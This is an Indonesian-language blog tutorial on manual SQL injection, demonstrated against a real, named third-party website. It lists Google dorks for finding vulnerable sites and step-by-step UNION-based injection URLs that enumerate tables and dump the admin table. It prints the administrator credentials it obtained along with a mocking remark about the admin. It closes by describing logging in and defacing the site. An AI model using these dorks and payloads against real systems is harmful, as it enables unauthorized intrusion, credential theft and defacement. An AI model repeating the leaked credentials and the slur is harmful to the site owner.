oleh karena itu kali ini saya akan shere tutorial SQLi secara manual. Saya mendapat tutorial ini dari x'1n73ct.
Alat : Browser Firefox . Kenapa harus firefox ? Karena kita harus menginstall addons HACKBAR yang [sepertinya] hanya ada di Firefox. Hackbar itu seperti apa sih ? Nih screenshotnya ;
Fungsinya ? Simak saja tutorialnya sampai akhir maka anda akan tahu fungsi dari hackbar. Untuk yang belum menginstall hackbar silahkan menuju link berikut :
https://addons.mozilla.org/id/firefox/addon/hackbar/
Oke, kita mulai tutorialnya :
Step 1 :
Cari target vuln SQLi di google. Dork yang bisa digunakan :
inurl:"research.php?cid="
"id=" & intext:"Warning: mysql_fetch_assoc()
"id=" & intext:"Warning: mysql_fetch_array()
Untuk dork lain silahkan cari sendiri atau kreasikan sendiri.
Sebagai web korban untuk tutorial ini saya memilih : http://kkverma.com/content/research.php?cid=2
Kita tambahkan tanda kitip satu ['] di akhri url untuk memastikan apakah webnya vuln SQLi atau tidak.
Sehingga menjadi : http://kkverma.com/content/research.php?cid=2'
Di situ tertulis : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by uid' at line 1 . Error ! Artinya web tersebut vuln SQLi
Step 2 :
Lanjut. Sekarang kita cari tau jumlah table di databasenya dengan perintah “order by” . Cari hingga menemukan error.
http://kkverma.com/content/research.php?cid=2 order by 1-- normal
http://kkverma.com/content/research.php?cid=2 order by 2-- normal
http://kkverma.com/content/research.php?cid=2 order by 3-- normal
http://kkverma.com/content/research.php?cid=2 order by 4-- normal
http://kkverma.com/content/research.php?cid=2 order by 5-- normal
http://kkverma.com/content/research.php?cid=2 order by 6-- ERROR
di "order by 6" kita mendapatkan error dengan tulisan : Unknown column '6' in 'order clause' yang kalo diartikan menjadi "eh, gile lu ye. Mana ada kolom 6" . Sekarang kita sudah tahu kalo jumlah kolom di databasenya ada 5 [karena error di angka 6].
Step 3 :
Sekarang kita mulai mencari "angka ajaib" yang bisa kita injeksi di step sejanjutnya dengan memasukkan perintah union select. Perhatikan saja url yang saya tulis dibawah :
http://kkverma.com/content/research.php?cid=-2 union select 1,2,3,4,5-- [ ingat, setelah ?cid= diberi tanda - ]
Muncul angka ajaib 3 dan 4 .
Step 4 :
Sekarang kita coba untuk melihat versi php dengan angka ajaib tadi. Caranya ialah dengan memasukan perintah “ @@version “atau “ version() ” kedalam salah satu angka yang muncul tadi.
http://kkverma.com/content/research.php?cid=-2 union select 1,2,version(),4,5 -- [karena 3 tadi termasuk angka ajaib]
Tertulis 5.1.61 . Versi php 5 . Berarti tutorial ini masih bisa dilanjutkan. Karena jika menemukan php versi 4 kita harus menebak sendiri isi/tabel dari databasenya.
Step 5 :
Kita akan memunculkan nama-nama table yang ada di dalam database dengan mengganti perintah “ @@version ” dengan “group_concat(table_name) ” dan menambahkan perintah “ from information_schema.tables where table_schema=database() ” sesudah angka terakhir , sebelum tanda --
http://kkverma.com/content/research.php?cid=-2 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database()--
Kita melihat ada table admin, research, vcounter .
Step 6 :
Sekarang main logika disini. Dimana biasanya akan disimpan data berupa user dan password ? Tentu jawabannya adalah di table admin. Kita coba melihat kolom dari table admin tersebut .
Disinilah hackbar dibutuhkan. Untuk merubah suatu kata menjadi bentuk MySQL CHAR(). Caranya : klik tombol SQL -> MySQL -> MySQL CHAR() . Lalu kita convert kata "admin" menjadi bentuk MySQL CHAR() .
Dan hasil convert dari kata admin adalah CHAR(97, 100, 109, 105, 110)
Step 7 :
Tahap selanjutnya yaitu mengetahui kolom yang ada pada table admin tersebut. Cara mengganti perintah “ group_concat(table_name) ” dengan perintah “ group_concat(column_name) ” dan mengganti perintah “ information_schema.tables “ menjadi “ information_schema.columns ” juga mengganti perintah “ table_schema=database() ” dengan perintah “ table_name=[hasil convert MySQL CHAR() - Step 6] ”
http://kkverma.com/content/research.php?cid=-2 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)--
Kita mendapat kolom aid, admin id, admin pass di tabel admin.
Step 8 :
Sekarang kita coba membuka data yang ada di kolom aid, admin id , dan admin pass .
Caranya ialah mengganti perintah group_concat(table_name) menjadi group_concat(aid,0x3a,admin_id,0x3a,admin_pass) dan mengganti perintah “ from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)—“ dengan perintah “from admin—“ . disitu kita melihat ada tanda 0x3a. Apa maksudnya ? 0x3a adalah bentuk HEX dari tanda : sehingga data nanti akan dipisah dengan tanda : .
http://kkverma.com/content/research.php?cid=-2 union select 1,2,group_concat(aid,0x3a,admin_id,0x3a,admin_pass),4,5 from admin--
Kita mendapatkan data berikut ;
aid : 1
Admin ID : admin
Admin Pass : bimogay --- adminnya bernama Bimo, orangnya Gay. Hihihi
Step 9 :
Sekarang kita coba mencari halaman loginnya. Tidak bakal jauh dari kata "admin" ataupun "login" . Kalo malas mencari manual, cari dengan software Admin Finder. Cari sendiri di Google.
Kita menemukan halaman loginnya terletak di :
http://kkverma.com/admin
Masukkan user dan password sesuai dengan data yang telah kita dapat.
Dan.......
Uh, indahnya dunia ini. :v
Masuk halaman admin bray. Namun ternyata tidak bisa upload shell. Kita deface saja dengan metode JS Overlay.
Sekian tutorial kali ini, semoga bermanfaat.
Greetz : x'1n73ct
Sumber udah tau nick NabilahJKT48